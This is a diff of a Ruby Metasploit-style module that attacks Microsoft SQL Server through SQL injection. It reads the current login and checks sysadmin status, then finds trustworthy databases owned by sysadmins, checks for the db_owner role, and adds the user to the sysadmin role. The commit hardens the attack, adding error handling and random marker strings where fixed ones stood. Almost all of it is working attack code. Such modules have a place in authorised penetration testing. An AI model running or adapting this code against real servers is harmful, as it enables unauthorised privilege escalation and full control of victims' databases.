@@ -37,100 +37,112 @@ def initialize(info = {})
37
37
def run
38
38
39
39
# Get the database user name
40
- print_status ( "Grabbing the database user name from #{ rhost } : #{ rport } ..." )
40
+ print_status ( "#{ peer } - Grabbing the database user name from ..." )
41
41
db_user = get_username
42
- print_good ( "Database user: #{ db_user } " )
42
+ if db_user . nil?
43
+ print_error ( "#{ peer } - Unable to grab user name..." )
44
+ return
45
+ else
46
+ print_good ( "#{ peer } - Database user: #{ db_user } " )
47
+ end
43
48
44
49
# Grab sysadmin status
45
- print_status ( "Checking if #{ db_user } is already a sysadmin..." )
46
- sysadmin_status = check_sysadmin
47
- if sysadmin_status == true
48
- print_good ( "#{ db_user } is already a sysadmin, no esclation needed." )
50
+ print_status ( "#{ peer } - Checking if #{ db_user } is already a sysadmin..." )
51
+ admin_status = check_sysadmin
52
+
53
+ if admin_status . nil?
54
+ print_error ( "#{ peer } - Couldn't retrieve user status, aborting..." )
55
+ return
56
+ elsif admin_status == '1'
57
+ print_error ( "#{ peer } - #{ db_user } is already a sysadmin, no esclation needed." )
49
58
return
50
59
else
51
- print_good ( "#{ db_user } is NOT a sysadmin, let's try to escalate privileges." )
60
+ print_good ( "#{ peer } - #{ db_user } is NOT a sysadmin, let's try to escalate privileges." )
52
61
end
53
62
54
63
# Check for trusted databases owned by sysadmins
55
- print_status ( "Checking for trusted databases owned by sysadmins..." )
64
+ print_status ( "#{ peer } - Checking for trusted databases owned by sysadmins..." )
56
65
trust_db_list = check_trust_dbs
57
- if ! trust_db_list || trust_db_list . length == 0
58
- print_error ( ' No databases owned by sysadmin were found flagged as trustworthy.' )
66
+ if trust_db_list . nil? || trust_db_list . length == 0
67
+ print_error ( " #{ peer } - No databases owned by sysadmin were found flagged as trustworthy." )
59
68
return
60
69
else
61
70
# Display list of accessible databases to user
62
- print_good ( "#{ trust_db_list . length } affected database(s) were found:" )
63
-
64
- if trust_db_list . length == 1
65
- trust_db_one = trust_db_list . flatten . first
66
- print_status ( " - #{ trust_db_one } " )
67
- else
68
- trust_db_list . each do |db |
69
- print_status ( " - #{ db [ 0 ] } " )
70
- end
71
+ print_good ( "#{ peer } - #{ trust_db_list . length } affected database(s) were found:" )
72
+ trust_db_list . each do |db |
73
+ print_status ( " - #{ db } " )
71
74
end
72
75
end
73
76
74
77
# Check if the user has the db_owner role in any of the databases
75
- print_status ( "Checking if #{ db_user } has the db_owner role in any of them..." )
76
- dbowner_status = check_db_owner ( trust_db_list )
77
- if ! dbowner_status
78
- print_error ( "Fail buckets, the user doesn't have db_owner role anywhere." )
78
+ print_status ( "#{ peer } - Checking if #{ db_user } has the db_owner role in any of them..." )
79
+ owner_status = check_db_owner ( trust_db_list )
80
+ if owner_status . nil?
81
+ print_error ( "#{ peer } - Fail buckets, the user doesn't have db_owner role anywhere." )
79
82
return
80
83
else
81
- print_good ( "#{ db_user } has the db_owner role on #{ dbowner_status } ." )
84
+ print_good ( "#{ peer } - #{ db_user } has the db_owner role on #{ owner_status } ." )
82
85
end
83
86
84
87
# Attempt to escalate to sysadmin
85
- print_status ( "Attempting to add #{ db_user } to sysadmin role..." )
86
- escalate_privs ( dbowner_status , db_user )
87
- sysadmin_status = check_sysadmin
88
- if sysadmin_status == true
89
- print_good ( "Success! #{ db_user } is now a sysadmin!" )
88
+ print_status ( "#{ peer } - Attempting to add #{ db_user } to sysadmin role..." )
89
+ escalate_privs ( owner_status , db_user )
90
+
91
+ admin_status = check_sysadmin
92
+ if admin_status && admin_status == '1'
93
+ print_good ( "#{ peer } - Success! #{ db_user } is now a sysadmin!" )
90
94
else
91
- print_error ( "Fail buckets, something went wrong." )
95
+ print_error ( "#{ peer } - Fail buckets, something went wrong." )
92
96
end
93
97
end
94
98
95
- #
96
- # Functions
97
- #
99
+ def peer
100
+ " #{ rhost } : #{ rport } "
101
+ end
98
102
99
103
def get_username
100
104
# Setup query to check for database username
101
- sql = "(select 'EVILSQLISTART'+SYSTEM_USER+'EVILSQLISTOP')"
105
+ clue_start = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
106
+ clue_end = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
107
+ sql = "(select '#{ clue_start } '+SYSTEM_USER+'#{ clue_end } ')"
102
108
103
109
# Run query
104
110
result = mssql_query ( sql )
105
111
106
112
# Parse result
107
- parsed_result = result . body . scan ( /EVILSQLISTART([^>]*)EVILSQLISTOP/ ) . last . first
113
+ if result && result . body && result . body =~ /#{ clue_start } ([^>]*)#{ clue_end } /
114
+ user_name = $1
115
+ else
116
+ user_name = nil
117
+ end
108
118
109
- # Return user name
110
- return parsed_result
119
+ user_name
111
120
end
112
121
113
122
def check_sysadmin
114
123
# Setup query to check for sysadmin
115
- sql = "(select 'EVILSQLISTART'+cast((select is_srvrolemember('sysadmin'))as varchar)+'EVILSQLISTOP')"
124
+ clue_start = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
125
+ clue_end = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
126
+ sql = "(select '#{ clue_start } '+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{ clue_end } ')"
116
127
117
128
# Run query
118
129
result = mssql_query ( sql )
119
130
120
131
# Parse result
121
- parsed_result = result . body . scan ( /EVILSQLISTART([^>]*)EVILSQLISTOP/ ) . last . first
122
-
123
- # Return sysadmin status
124
- if parsed_result . to_i == 1
125
- return true
132
+ if result && result . body && result . body =~ /#{ clue_start } ([^>]*)#{ clue_end } /
133
+ status = $1
126
134
else
127
- return false
135
+ status = nil
128
136
end
137
+
138
+ status
129
139
end
130
140
131
141
def check_trust_dbs
132
142
# Setup query to check for trusted databases owned by sysadmins
133
- sql = "(select cast((SELECT 'EVILSTART'+d.name+'EVILSTOP' as DbName
143
+ clue_start = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
144
+ clue_end = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
145
+ sql = "(select cast((SELECT '#{ clue_start } '+d.name+'#{ clue_end } ' as DbName
134
146
FROM sys.server_principals r
135
147
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
136
148
INNER JOIN sys.server_principals p ON
@@ -139,33 +151,50 @@ def check_trust_dbs
139
151
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
140
152
141
153
# Run query
142
- result = mssql_query ( sql )
154
+ res = mssql_query ( sql )
155
+
156
+ unless res && res . body
157
+ return nil
158
+ end
143
159
144
160
#Parse results
145
- parsed_result = result . body . scan ( /EVILSTART(.*?)EVILSTOP/m )
161
+ parsed_result = res . body . scan ( /#{ clue_start } (.*?)#{ clue_end } /m )
162
+
163
+ if parsed_result && !parsed_result . empty?
164
+ parsed_result . flatten!
165
+ parsed_result . uniq!
166
+ end
167
+
168
+ print_status ( "#{ parsed_result . inspect } " )
169
+
170
+ parsed_result
146
171
end
147
172
148
173
def check_db_owner ( trust_db_list )
149
174
# Check if the user has the db_owner role is any databases
150
175
trust_db_list . each do |db |
151
176
# Setup query
152
- sql = "(select 'EVILSQLISTART'+'#{ db [ 0 ] } '+'EVILSQLISTOP' as DbName
153
- from [#{ db [ 0 ] } ].sys.database_role_members drm
154
- join [#{ db [ 0 ] } ].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
155
- join [#{ db [ 0 ] } ].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
177
+ clue_start = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
178
+ clue_end = Rex ::Text . rand_text_alpha ( 8 + rand ( 4 ) )
179
+ sql = "(select '#{ clue_start } '+'#{ db } '+'#{ clue_end } ' as DbName
180
+ from [#{ db } ].sys.database_role_members drm
181
+ join [#{ db } ].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
182
+ join [#{ db } ].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
156
183
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
157
184
158
185
# Run query
159
186
result = mssql_query ( sql )
160
187
161
- # Parse result
162
- parsed_result = result . body . scan ( /EVILSQLISTART([^>]*)EVILSQLISTOP/ ) . last . first
188
+ unless result && result . body
189
+ next
190
+ end
163
191
164
- # Return sysadmin status
165
- if parsed_result
166
- return parsed_result
192
+ # Parse result
193
+ if result . body =~ / #{ clue_start } ([^>]*) #{ clue_end } /
194
+ return $1
167
195
end
168
196
end
197
+
169
198
nil
170
199
end
171
200
0 commit comments